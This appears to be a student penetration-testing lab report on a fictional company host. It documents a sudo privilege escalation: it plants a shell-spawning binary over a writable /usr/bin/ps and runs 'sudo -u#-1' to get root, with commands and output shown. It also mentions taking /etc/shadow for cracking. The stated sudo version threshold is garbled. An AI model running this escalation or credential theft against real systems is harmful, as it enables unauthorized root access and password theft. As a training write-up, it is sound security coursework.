Ex0f-LinuxIsBroken

Jigar Patel

2023-11-04

Contents

1 Technical Report **2**
1.1 Finding: *Exploitable sudo version to gain elevated privileges* 2

2 Attack Narrative - Regain admin on devbox **3**
2.1 MITRE ATT&CK Framework TTPs 5

1 Technical Report

1.1 Finding: *Exploitable sudo version to gain elevated privileges*

Severity Rating

CVSS Base Severity Rating: 7.8 AV:L AC:L PR:L UI:N S:U C:H I:H A:H

Vulnerability Description

The sudo version installed on the machine *devbox.artstailor.com* is vulnerable to a privilege escalation when the user permissions are set to run **not as root**. A local user can get a root shell by exploiting the sudo binary.

Confirmation method

Run **sudo –version** to check sudo's version. If it is $\leq$1.28 then the vulnerability is still present.

Mitigation or Resolution Strategy

Upgrade the sudo binary to versions greater than 1.28 by running the commands **sudo apt update; sudo apt upgrade sudo**.

2 Attack Narrative - Regain admin on devbox

1. We rdesktop into **costumes.artstailor.com** as the user *prob3*. Next, we ssh into **devbox.artstailor.com** as the user *l.strauss* with previously discovered credentials.

2. We check the Linux kernel version for any vulnerability.

```
l.strauss@devbox:~$ uname -a
Linux devbox 6.1.0-12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.52-1 (2023-09-07) x86_64 GNU/Linux
```

   We see the version is **6.1.52-1**, however, we do not find a performable exploit.

3. We look around the file system to find two executables in */home/l.strauss/bin*. Them being *ps.orig*, and *ps.special*.

```
l.strauss@devbox:~/bins$ file ps.orig
ps.orig: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV)
fb2fee92c77872d, for GNU/Linux 3.2.0, stripped
l.strauss@devbox:~/bins$ file ps.special
ps.special: ELF 64-bit LSB pie executable, x86-64, version 1 (SY
4da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped
```

   We get the expected output of the ps command when we run *ps.orig*. However, we get the shell back when we run **ps.special**.

4. To check *l.strauss's* stripped down permission, we run **sudo -l**.

```
l.strauss@devbox:~$ sudo -l
Password:
Matching Defaults entries for l.strauss on devbox:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User l.strauss may run the following commands on devbox:
    (ALL, !root) /usr/bin/ps
```

   We observe that we can run */usr/bin/ps* as any user other than root.

5. We know of a vulnerability in sudo version $\leq$1.28, where we can run the available programs as root, when **!root** is present in the user permissions in the sudoers file.

6. To get a shell, when we exploit sudo to run *ps* as root, we copy the **ps.special** executible into the **/usr/bin/** directory as *ps* (while backing up the original *ps*). Normally this would not have been possible, however *l.strauss* was given the ACL to write to */usr/bin/ps*.

```
l.strauss@devbox:/usr/bin$ getfacl ps
# file: ps
# owner: root
# group: root
user::rwx
user:l.strauss:rw-
group::r-x
mask::rwx
other::r-x
```

7. Now we run the command **sudo -u#-1 /usr/bin/ps**, and get a root shell.

```
l.strauss@devbox:/usr/bin$ sudo -u#-1 /usr/bin/ps
Password:
root@devbox:/usr/bin# id
uid=0(root) gid=1000(l.strauss) groups=1000(l.strauss)
root@devbox:/usr/bin#
```

8. With elevated privileges, we find the key present in **/root**.

```
KEY017-5iJXxl+AoPQqKssw3WJUnw==
```

9. We also exfiltrate */etc/shadow* for future password cracking.

2.1 MITRE ATT&CK Framework TTPs

TA0001: Initial Access
- **T1078:** Valid Accounts
  - **.003:** Local Accounts

TA0004: Privilege Escalation
- **T1068:** Exploitation for Privilege Escalation
  - **NA:** NA